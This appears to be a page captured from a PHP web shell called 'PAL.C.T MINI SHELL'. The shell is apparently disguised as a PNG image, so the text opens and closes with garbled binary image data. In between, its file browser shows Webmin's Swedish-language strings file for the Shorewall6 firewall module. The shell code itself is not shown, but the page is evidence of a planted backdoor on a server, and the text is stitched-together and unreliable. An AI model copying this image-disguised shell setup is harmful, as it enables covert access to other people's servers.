‰php  IHDRwQ)Bæa pHYs  šœsRGBźÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ștw.“oàWpć§;—ł°QHZnwą`gaiJ’9Țˆ‰ŃÒ̟灙ûŸęÍaî=·nlŽ[ ÊšG܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îúž·y H†Ż@E7j­Í 1j+OF„–€‹Rg}Ü«‘;@’E™Öač±ùáÓ~ ÿj`Ùuû'ož> ÙjĘ-$˜_§q?ŸqžSXzG'ćóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/shorewall6/lang/
upload
files >> //usr/libexec/webmin/shorewall6/lang/sv.auto

index_title=Shorewall6 Firewall
index_ecmd=Kommandot $1 hittades inte pÄ ditt system. Kanske Àr den inte installerad, eller <a href='$2'>modulkonfiguration</a> Àr felaktig.
index_edir=Shorewall-konfigureringskatalogen $1 hittades inte pÄ ditt system. Kanske Àr den inte installerad, eller <a href='$2'>modulkonfiguration</a> Àr felaktig.
index_version=Shorewall6 version $1 
index_return=lista över tabeller
index_restart=AnvÀnd konfigurering
index_restartdesc=Klicka pÄ den hÀr knappen för att aktivera den aktuella Shorewall-konfigurationen med kommandot <tt>shorewall6 omstart</tt>.
index_refresh=Uppdatera konfiguration
index_refreshdesc=Klicka pÄ den hÀr knappen för att aktivera bara tabellerna för svartlista och trafikformning med kommandot <tt>shorewall6 refresh</tt>.
index_start=Starta brandvÀggen
index_startdesc=Klicka pÄ den hÀr knappen för att starta Shorewall med den aktuella konfigurationen med kommandot <tt>shorewall6 start</tt>.
index_clear=Rensa brandvÀggen
index_cleardesc=Klicka pÄ den hÀr knappen för att rensa Shorewall med kommandot <tt>shorewall6 clear</tt>. Detta tillÄter Ätkomst frÄn alla vÀrdar utan begrÀnsningar.
index_stop=Sluta brandvÀggen
index_stopdesc=Klicka pÄ den hÀr knappen för att stÀnga av Shorewall med kommandot <tt>shorewall6 stop</tt>. Detta blockerar Ätkomst frÄn alla vÀrdar utom i tabellen When Stopped.
index_status=Visa status
index_statusdesc=Klicka pÄ den hÀr knappen för att se Shorewalls tabeller och regler frÄn kommandot <tt>shorewall6</tt>.
index_dump=Visa dumpning
index_dumpdesc=Klicka pÄ den hÀr knappen för att se Shorewall-spÄrningsinformation frÄn kommandot <tt>shorewall6</tt>.
index_check=Kontrollera brandvÀggen
index_checkdesc=Klicka pÄ den hÀr knappen för att Shorewall ska validera din brandvÀggskonfiguration med kommandot <tt>shorewall6</tt>.

list_move=Flytta
list_add=LĂ€gg till
list_auto=Automatisk
list_none=Ingen
list_any=NÄgra
list_fw=brandvÀgg
list_other=Övrig ..
list_manual=Redigera fil manuellt
list_manualdesc=Klicka pÄ den hÀr knappen för att manuellt redigera Shorewall-filen $1, dÀr posterna ovan Àr lagrade.
list_ecannot=Du fÄr inte redigera denna Shorewall-tabell.
list_delete=Radera valda

restart_err=Det gick inte att tillÀmpa konfigurationen
refresh_err=Det gick inte att uppdatera konfigurationen
start_err=Det gick inte att starta brandvÀggen
clear_err=Det gick inte att rensa brandvÀggen
stop_err=Det gick inte att stÀnga av brandvÀggen
status_title=BrandvÀggsstatus
dump_title=BrandvÀggsdump
check_title=Kontrollera brandvÀggen
check_ok=.. din brandvÀggskonfiguration ser OK ut.
check_failed=.. ett fel hittades i din brandvÀggskonfiguration!
check_cmd=Kontrollerar konfiguration ..

zones_title=NĂ€tverkszoner
zones_desc=Zonerna som listas pÄ denna sida representerar olika nÀtverk som kan nÄs frÄn ditt system. Men inmatningarna hÀr har inte nÄgon effekt pÄ brandvÀggen - utan definierar bara zonnamn och beskrivningar.
zones_add=LÀgg till en ny nÀtverkszon.
zones_none=Inga nÀtverkszoner har definierats Àn.
zones_0=Zon-ID
zones_1=Visat namn
zones_2=Beskrivning
zones_1new=FörÀldrazon
zones_2new=Zontyp
zones_3new=Zonalternativ
zones_4new=Inkommande alternativ
zones_5new=UtgÄende alternativ
zones_6new=Kommentar
zones_return=zonlista
zones_edit=Redigera nÀtverkszon
zones_create=Skapa nÀtverkszon
zones_header=NĂ€tverkszoninformation
zones_err=Det gick inte att spara nÀtverkszonen
zones_eid=Zon-ID saknas eller ogiltigt
zones_efwid=Zon-ID: er $ FW och fw Àr reserverade för brandvÀggen
zones_ename=Saknat eller ogiltigt visat namn
zones_edesc=Zonbeskrivning saknas
zones_ipv6=IPv6
zones_ipsec=IPsec
zones_ipsec6=IPsec6
zones_bport=bport
zones_bport6=bport6
zones_firewall=BrandvÀggssystem
zones_eopts=Ogiltiga zonalternativ
zones_eopts_in=Ogiltiga zoninkomster
zones_eopts_out=Ogiltiga zonutgÄende alternativ

policy_title=Standardpolicyer
policy_desc=PÄ denna sida kan du konfigurera standardÄtgÀrderna för trafik mellan olika brandvÀggzoner. De kan ÄsidosÀttas för vissa vÀrdar eller typer av trafik pÄ sidan Firewall-regler.
policy_add=LĂ€gg till en ny standardpolicy.
policy_none=Ingen standardpolicy har definierats Àn.
policy_0=KĂ€llzon
policy_1=Destinationszon
policy_2=Politik
policy_3=Syslog-nivÄ
policy_4=TrafikgrÀns
policy_limit=BegrÀnsa $1, Burst $2 
policy_return=policy lista
policy_edit=Redigera standardpolicy
policy_create=Skapa standardpolicy
policy_header=Standardpolicyinformation
policy_err=Det gick inte att spara standardpolicyn
policy_nolog=Loggning inaktiverad
policy_ulog=Logga till ULOG
policy_efw=&lt;Firewall&gt; kan vÀljas för bÄde kÀll- och destinationszoner
policy_elimit=Saknat eller ogiltigt trafikbegrÀnsningsnummer
policy_eburst=Saknat eller ogiltigt antal trafikskador

rules_title=BrandvÀggsregler
rules_desc=Denna tabell visar undantag frÄn standardpolicyn för vissa typer av trafik, kÀllor eller destinationer. Den valda ÄtgÀrden kommer att tillÀmpas pÄ paket som matchar de valda kriterierna istÀllet för standard.
rules_add=LÀgg till en ny brandvÀggsregel.
rules_none=Inga brandvÀggsregler har definierats Àn.
rules_0=Verkan
rules_1=KĂ€lla
rules_1z=KĂ€llzon
rules_2=Destination
rules_2z=Destinationszon eller hamn
rules_3=Protokoll
rules_4=KĂ€llportar
rules_5=Destinationsportar
rules_6=KursgrÀns
rules_7=AnvÀndaruppsÀttning
rules_hosts=VĂ€rd <tt>$2</tt> i zon <tt>$1</tt>
rules_zone=Zon <tt>$1</tt>
rules_rport=Port <tt>$1</tt>
rules_related=Relaterad
rules_return=lista över brandvÀggsregler
rules_edit=Redigera brandvÀggsregel
rules_create=Skapa brandvÀggsregel
rules_header=Information om brandvÀggsregeln
rules_err=Det gick inte att spara brandvÀggsregeln
rules_log=och logga in pÄ syslog-nivÄ
rules_nolog=Logga inte in
rules_addr=Endast vÀrdar i zon med adresser
rules_ranges=Hamnar eller intervall
rules_dnat=Originaladress för DNAT eller REDIRECT
rules_dnat_dest=Fyll i den nya destinationsadressen eller porten hÀr för DNAT eller REDIRECT.
rules_dnat_port=Fyll i den ursprungliga destinationsporten hÀr för DNAT eller REDIRECT.
rules_esother=Saknad eller ogiltig kÀllzon
rules_edother=Saknad eller ogiltig destinationszon
rules_esinzone=Inga vÀrdadresser anges för kÀlla
rules_edinzone=Inga vÀrdadresser anges för destinationen
rules_esport=Inga kÀllportnamn, nummer eller intervall angivna
rules_edport=Inga destinationsportnamn, nummer eller intervall angivna
rules_ednat=Den ursprungliga destinationsadressen mÄste vara en enda IP-adress, tvÄ adresser separerade med en:, eller en uteslutningslista frÄn och med!
rules_ednat2=En original destinationsadress kan endast anges för DNAT- och REDIRECT-ÄtgÀrderna
rules_rate=BetygsgrÀnsuttryck
rules_norate=Ingen grÀns
rules_set=Regel gÀller för anvÀndaruppsÀttning
rules_noset=Alla anvÀndare
rules_eaction=Ingen ÄtgÀrd vald
rules_macro=Makrohandlingsparameter
rules_none2=Ingen
rules_emacro=Makroparameter saknas eller ogiltig

tos_title=Typer av tjÀnster
tos_desc=Denna sida definierar IP-tjÀnsttyper för specifika typer av trafik, som kan anvÀndas för att höja eller sÀnka sina prioriteringar.
tos_add=LÀgg till en ny typ av tjÀnst.
tos_none=Inga typer av tjÀnster har definierats Àn.
tos_0=KĂ€lla
tos_0z=KĂ€llzon
tos_1=Destination
tos_1z=Destinationszon
tos_2=Protokoll
tos_3=KĂ€llportar
tos_4=Destinationsportar
tos_5=Typ av service
tos_6=Testa
tos_return=typer av servicelista
tos_edit=Redigera typ av tjÀnst
tos_create=Skapa typ av tjÀnst
tos_header=Typ av serviceinformation
tos_err=Det gick inte att spara typ av tjÀnst

interfaces_title=NÀtverksgrÀnssnitt
interfaces_desc=Var och en av nÀtverksgrÀnssnitten pÄ ditt system som du vill att Shorewall ska hantera ska listas pÄ den hÀr sidan och kopplas till den zon som den Àr ansluten till. Loopback-grÀnssnittet <tt>lo</tt> fÄr aldrig listas.
interfaces_add=LÀgg till ett nytt nÀtverksgrÀnssnitt.
interfaces_none=Inga nÀtverksgrÀnssnitt har definierats Àn.
interfaces_0=GrÀnssnitt
interfaces_1=Zonnamn
interfaces_2=alternativ
interfaces_detect=Automatisk
interfaces_return=grÀnssnittslista
interfaces_edit=Redigera nÀtverksgrÀnssnitt
interfaces_create=Skapa nÀtverksgrÀnssnitt
interfaces_header=NÀtverksgrÀnssnittdetaljer
interfaces_err=Det gick inte att spara nÀtverksgrÀnssnittet
interfaces_eiface=Saknas eller ogiltigt grÀnssnittsnamn
interfaces_ebroad=Saknad eller ogiltig sÀndningsadress

masq_title=Masquerading
masq_desc=Poster pÄ den hÀr sidan skapar översÀttning av nÀtverksadresser för trafik som dirigeras mellan nÄgot nÀtverk och ett visst grÀnssnitt.
masq_add=LĂ€gg till en ny maskeradregel.
masq_none=Inga maskeringsregler har definierats Àn.
masq_0=UtgÄende grÀnssnitt
masq_1=NĂ€tverk till maskerad
masq_2=SNAT-adress
masq_3=BegrÀnsa protokollet
masq_4=BegrÀnsa till portar
masq_5=IPsec-alternativ
masq_any=Alla protokoll
masq_all=Alla hamnar
masq_in=<tt>$2</tt> pÄ <tt>$1</tt>
masq_ex=NÀtverk pÄ <tt>$1</tt> förutom <tt>$2</tt>
masq_iface=NÀtverk pÄ <tt>$1</tt>
masq_return=maskerad lista
masq_edit=Redigera Masquerading-regeln
masq_create=Skapa maskerad regler
masq_header=Information om maskerad regel
masq_err=Det gick inte att spara maskeradregeln
masq_net=Endast för destination
masq_mode0=Subnet-adress
masq_mode1=Subnet pÄ grÀnssnittet
masq_except=Förutom nÀtverk
masq_enet=Saknas eller ogiltig utgÄende grÀnssnittsdestination
masq_emnet=Saknad eller ogiltig maskerad subnÀtadress
masq_emnete=Lista över tomma undantagsnÀtverk
masq_esnat=Ogiltig SNAT IP-adress
masq_eports=Saknad eller ogiltig komma-separat lista över portar
masq_eipsec=Saknade IPsec-alternativ

nat_title=Statisk NAT
nat_desc=De statiska nÀtverksadressöversÀttningsposterna i denna tabell kan anvÀndas för att stÀlla in en 1-1-korrespondens mellan en extern adress pÄ din brandvÀgg och en RFC1918-adress pÄ en maskin bakom din brandvÀgg. Statisk NAT anvÀnds ofta för att tillÄta anslutningar till en intern server utanför ditt nÀtverk.
nat_add=LĂ€gg till en ny statisk NAT-post.
nat_none=Inga statiska NAT-poster har definierats Àn.
nat_0=Extern adress
nat_1=Externt grÀnssnitt
nat_2=Intern adress
nat_virt=virtuell
nat_return=statisk NAT-lista
nat_edit=Redigera Statisk NAT
nat_create=Skapa statisk NAT
nat_header=Statisk NAT-postinformation
nat_err=Det gick inte att spara statisk NAT-post
nat_all=Aktiv för alla vÀrdar?
nat_local=Aktiv för brandvÀggssystem?
nat_eext=Ogiltig extern IP-adress
nat_eint=Ogiltig intern IP-adress
nat_evirt=Ogiltigt virtuellt grÀnssnittsnummer

proxyndp_title=Proxy NDP
proxyndp_desc=PÄ denna sida kan du konfigurera ditt system för att besvara NDP-förfrÄgningar för andra IP-adresser Àn sina egna, sÄ att det kan vidarebefordra paket till dessa adresser till deras verkliga destinationer.
proxyndp_add=LĂ€gg till en ny proxy-NDP-adress.
proxyndp_none=Inga proxy-NDP-adresser har definierats Àn.
proxyndp_0=Adress till NDP
proxyndp_1=Ansluten till grÀnssnittet
proxyndp_2=Externt grÀnssnitt
proxyndp_3=BestÀndig?
proxyndp_return=proxy NDP-adresslista
proxyndp_edit=Redigera Proxy NDP-adress
proxyndp_create=Skapa Proxy NDP-adress
proxyndp_header=Proxy NDP-detaljer
proxyndp_err=Det gick inte att spara proxy-NDP
proxyndp_have=Rutt till vÀrd finns?
proxyndp_eaddr=Saknad eller ogiltig adress till NDP
proxyndp_pers=LÀmna vÀgen Àven nÀr brandvÀggen stannade?

routestopped_title=NĂ€r stoppad
routestopped_desc=NÀr Shorewall stoppas kommer den som standard att avvisa Ätkomst frÄn alla vÀrdar. PÄ denna sida kan du definiera vÀrdar eller nÀtverk som fortfarande Àr tillgÀngliga.
routestopped_add=LĂ€gg till en ny stoppad adress.
routestopped_none=Inga adresser som Àr tillgÀngliga nÀr stoppade har definierats Ànnu.
routestopped_0=GrÀnssnitt
routestopped_1=TillgÀngliga adresser
routestopped_2=Ruttalternativ
routestopped_return=stoppad adresslista
routestopped_edit=Redigera stoppad adress
routestopped_create=Skapa stoppad adress
routestopped_header=Stoppad adressinformation
routestopped_err=Det gick inte att spara stoppad adress
routestopped_eaddr=Inga adresser angivna
routestopped_all=Alla adresser
routestopped_list=Listade adresser och nÀtverk ..

tunnels_title=VPN-tunnlar
tunnels_desc=Den hÀr sidan visar VPN-tunnlar som passerar din brandvÀgg och mÄste dÀrför tillÄtas av Shorewall-konfigurationen.
tunnels_add=LĂ€gg till en ny VPN-tunnel.
tunnels_none=Inga VPN-tunnlar som tillÄts har definierats Àn.
tunnels_0=VPN-typ
tunnels_1=Zon för grÀnssnitt
tunnels_2=FjÀrrport
tunnels_3=Gateway zoner
tunnels_gnone=Ingen
tunnels_return=VPN-tunnellista
tunnels_edit=Redigera VPN-tunneln
tunnels_create=Skapa VPN-tunnel
tunnels_header=VPN-tunneldetaljer
tunnels_err=Det gick inte att spara VPN-tunneln
tunnels_sel=Gateway IP
tunnels_ipsec=IPsec
tunnels_ipsec:ah=IPsec (med AH)
tunnels_ipsecnat=IPsec med NAT
tunnels_ipsecnat:noah=IPsec med NAT (ingen AH)
tunnels_gre=GRE
tunnels_l2tp=Lagring 2 tunneling (UDP 1701)
tunnels_openvpn=OpenVPN
tunnels_openvpnclient=OpenVPN-klient pÄ brandvÀggen
tunnels_openvpnclient_1=OpenVPN-klient pÄ brandvÀgg, pÄ port ..
tunnels_openvpnserver=OpenVPN-server pÄ brandvÀggen
tunnels_openvpnserver_1=OpenVPN-server pÄ brandvÀggen, pÄ porten ..
tunnels_openvpn_l=OpenVPN, pÄ port ..
tunnels_generic=Generisk
tunnels_generic_l=Generiskt för protokoll. ..
tunnels_gsel=Listade zoner
tunnels_eopenvpn=Ogiltigt portnummer för OpenVPN-tunneln
tunnels_egeneric=Protokoll eller protokoll saknas: port för generisk tunnel

hosts_title=ZonvÀrdar
hosts_desc=Denna sida visar vÀrdar och nÀtverk som Àr en del av vissa zoner. Du behöver i allmÀnhet inte göra nÄgra Àndringar i denna lista.
hosts_add=LÀgg till en ny zonvÀrd.
hosts_none=Inga zonvÀrdar har definierats Àn.
hosts_0=Zon
hosts_1=GrÀnssnitt
hosts_2=IP-adress eller nÀtverk
hosts_opts=VĂ€rdalternativ
hosts_return=zon vÀrd lista
hosts_edit=Redigera zonvÀrd
hosts_create=Skapa zonvÀrd
hosts_err=Det gick inte att spara zonvÀrd
hosts_enet=Saknad eller ogiltig vÀrdadress
hosts_header=Information om zonvÀrd
hosts_routestopped=VÀg Àven nÀr brandvÀggen Àr stoppad?
hosts_ip=Adress eller nÀtverk $1 
hosts_mac=MAC-adress $1 
hosts_ipset=IP-instÀllning $1 
hosts_any=Varje vÀrd

edit_before=Innan post $1 
edit_after=Efter post $1 

blacklist_title=Svartlista vÀrdar
blacklist_desc=Denna sida visar vÀrdar och tjÀnster som kommer att blockeras om trafik frÄn dem anlÀnder till ett grÀnssnitt med alternativet <b>svartlista</b>.
blacklist_add=LÀgg till en ny vÀrd för svartlista.
blacklist_none=Inga svarta vÀrdar har definierats Àn.
blacklist_0=VÀrd eller nÀtverk
blacklist_1=Protokoll
blacklist_2=Hamnar
blacklist_any=NÄgra
blacklist_header=Detaljer för svartlista vÀrd
blacklist_host=VÀrd eller nÀtverk
blacklist_proto=Protokoll
blacklist_ports=Port eller portlista
blacklist_err=Det gick inte att spara vÀrd för svartlista
blacklist_ehost=Saknad eller ogiltig vÀrd IP-adress eller nÀtverksadress
blacklist_emac=Saknad eller ogiltig MAC-adress
blacklist_eipset=IP-setnamn saknas
blacklist_edit=Redigera svartlistvÀrd
blacklist_create=Skapa svartlistvÀrd
blacklist_eproto=Protokoll saknas eller ogiltigt
blacklist_eports=Ogiltigt portnummer eller kommaseparerad lista över portar
blacklist_eports2=Portar kan endast specificeras för TCP- och UDP-protokollen
blacklist_return=svartlista vÀrdar

providers_title=Ytterligare routingleverantörer
providers_desc=Den hÀr sidan definierar ytterligare routingtabeller. Dessa behövs om du har anslutningar till mer Àn en ISP eller flera anslutningar till samma ISP, eller kör Squid som en transparent proxy pÄ en annan vÀrd Àn brandvÀggen.
providers_add=LÀgg till en ny routingleverantör.
providers_none=Inga routingleverantörer har definierats Àn.
providers_0=namn
providers_1=siffra
providers_2=Mark
providers_3=GrÀnssnitt
providers_4=Inkörsport
providers_name=Leverantörens namn
providers_number=Leverantörens nummer
providers_mark=Markera nummer
providers_dup=Duplicerad leverantör
providers_main=Huvudbordet
providers_iface=NÀtverksgrÀnssnitt
providers_gateway=Gateway router
providers_auto=UpptÀck automatiskt
providers_opts=Ytterligare alternativ
providers_track=SpÄra anslutningar
providers_balance=Lastbalanstrafik
providers_fallback=LÀgg till leverantören till routingtabellen
providers_loose=TillÄt trafik frÄn brandvÀggen
providers_notrack=SvÀng av spÄret
providers_tproxy=Stöd TProxy on lo-grÀnssnitt
providers_edit=Redigera routingleverantör
providers_create=Skapa routingleverantör
providers_header=Ytterligare detaljer om routingleverantör
providers_copy=Kopiera rutter genom grÀnssnitt
providers_err=Det gick inte att spara routingleverantören
providers_ename=Saknat eller ogiltigt leverantörsnamn
providers_enumber=Saknat eller ogiltigt leverantörsnummer
providers_emark=Saknat eller ogiltigt leverantörsmÀrkenummer
providers_edup=Leverantör saknas för att kopiera
providers_egateway=Saknad eller ogiltig gateway

manual_desc=Detta formulÀr kan anvÀndas för att manuellt redigera Shorewall-filen $1. Var försiktig, eftersom ingen syntaxskontroll görs pÄ Àndringarna.
manual_reset=Ångra
manual_err=Det gick inte att spara tabellfilen
manual_efile=Ogiltigt tabellnamn!
manual_edata=Inget tabellfil har skrivits in.

acl_nochange=Kan applicera, stoppa och starta Shorewall-konfiguration?
acl_files=TillgÀngliga Shorewall-bord
acl_all=Allt
acl_sel=Valt nedan ..

delete_err=Det gick inte att radera rader
delete_enone=Inga rader har valts

opts_routeback=Acceptera trafik tillbaka till vÀrd
opts_source=TillÄt frÄn vÀrd till valfri destination
opts_dest=LÄt vÀrd frÄn valfri kÀlla
opts_critical=TillÄt alltid trafik mellan brandvÀggen
opts_maclist=JÀmför mot MAC-lista?
opts_norfc1918=Avvisa privata IP-paket
opts_blacklist=Avvisa paket pÄ svartlista
opts_tcpflags=Kontrollera om det Àr olagliga TCP-flaggor
opts_nosmurfs=Sök efter paket med sÀndningskÀllor
opts_ipsec=IPsec-zon
opts_routefilter=Aktivera anti-spoofing-ruttfiltrering
opts_logmartians=Logga paket med omöjliga kÀllor
opts_proxyndp=Aktivera proxy-NDP
opts_ndp_filter=Svara bara pÄ NDP-förfrÄgningar för IP-grÀnssnitt
opts_detectnets=Taylor zon för att inkludera endast dirigerade vÀrdar
opts_upnp=Byt om paket via UPNP

opts_dhcp=GrÀnssnittet anvÀnder DHCP
opts_forward=StÀll in vidarebefordran
opts_ignore=Ignorera upp/ner-hÀndelser
opts_optional=GrÀnssnittet Àr valfritt
opts_required=GrÀnssnitt krÀvs
opts_bridge=GrÀnssnittet Àr en bro

comment_add=LĂ€gg till en ny kommentar.
comment_edit=Redigera kommentar
comment_create=Skapa kommentar
comment_header=Tabellkommentarer
comment_msg=Meddelande
comment_err=Det gick inte att spara kommentar
comment_enone=Inget meddelande har matats in

log_create_table=Lagt till posten i $1 -tabellen
log_modify_table=Ändrad post i tabellen $1 
log_delete_table=Radering av posten frÄn tabellen $1 
log_deletes_table=Raderade poster frÄn tabellen $1 
log_up_table=Flyttade upp posten i $1 -tabellen
log_down_table=Flyttade nedgÄngen i tabellen $1 
log_manual_table=Redigerade manuellt $1 -tabellfilen
log_create_comment=Lade till kommentar till tabellen $1 
log_modify_comment=Ändrad kommentar i tabellen $1 
log_delete_comment=Raderad kommentar frÄn tabellen $1 
log_stop=Stoppad brandvÀgg
log_start=Startad brandvÀgg
log_refresh=Uppdaterad brandvÀgg
log_restart=Omstartad brandvÀgg
log_clear=Rensad brandvÀgg

shorewall_conf_title=Masterkonfigurationsfil
shorewall_conf_desc=PĂ„ denna sida kan du konfigurera de globala konfigurationsvariablerna. OBS! Ändra ordning pĂ„ variabler hĂ€r rekommenderas inte om du vill bevara den relativa positionen för kommentarer i konfigurationsfilen.
shorewall_conf_add=LĂ€gg till en ny konfigurationsvariabel.
shorewall_conf_none=Ingen shorewall6-konfiguration hittades.
shorewall_conf_0=Variabel
shorewall_conf_1=VĂ€rde
shorewall_conf_2=Kommentar
shorewall_conf_return=lista över konfigurationsvariabler
shorewall_conf_edit=Redigera konfigurationsvariabel
shorewall_conf_create=Skapa konfigurationsvariabel
shorewall_conf_header=Detaljer för konfigurationsvariabel
shorewall_conf_err=Det gick inte att spara konfigurationsvariabel
shorewall_conf_varname=Ogiltigt variabelns namn (mÄste vara ett giltigt skalvariabelnamn)

params_title=Anpassade parametrar
params_desc=PĂ„ den hĂ€r sidan kan du konfigurera Shorewalls anpassade parametrar. OBS! Ändra ordning pĂ„ parametrar hĂ€r rekommenderas inte om du vill bevara den relativa positionen för kommentarer i konfigurationsfilen.
params_add=LĂ€gg till en ny anpassad parameter.
params_none=Inga anpassade parametrar hittades.
params_0=Parameter
params_1=VĂ€rde
params_2=Kommentar
params_return=anpassade parametrar lista
params_edit=Redigera anpassad parameter
params_create=Skapa anpassad parameter
params_header=Anpassade parameterdetaljer
params_err=Det gick inte att spara anpassad parameter
params_varname=Ogiltigt parameternamn (mÄste vara ett giltigt skalvariabelnamn)
ß yôÊáœ~ŒorÀ5ÖJ™={țÁEÇêeŸu磝Qkź•áݘG{ś?ù»ă+—]üôçƒÉÍŚŚŸô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKă>èoČÎnĘ\ÿȘÊjży·đR Łőăg/î=ȚÿfúOçÖr·oŚNVÊvżú~ÿY+üżNGêuśű·Ăź›țëčHWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇțł>ä}Gçmx[o[<ȚÚ{đęŸÏź_ĆïqF– ÚÛvMIENDźB`‚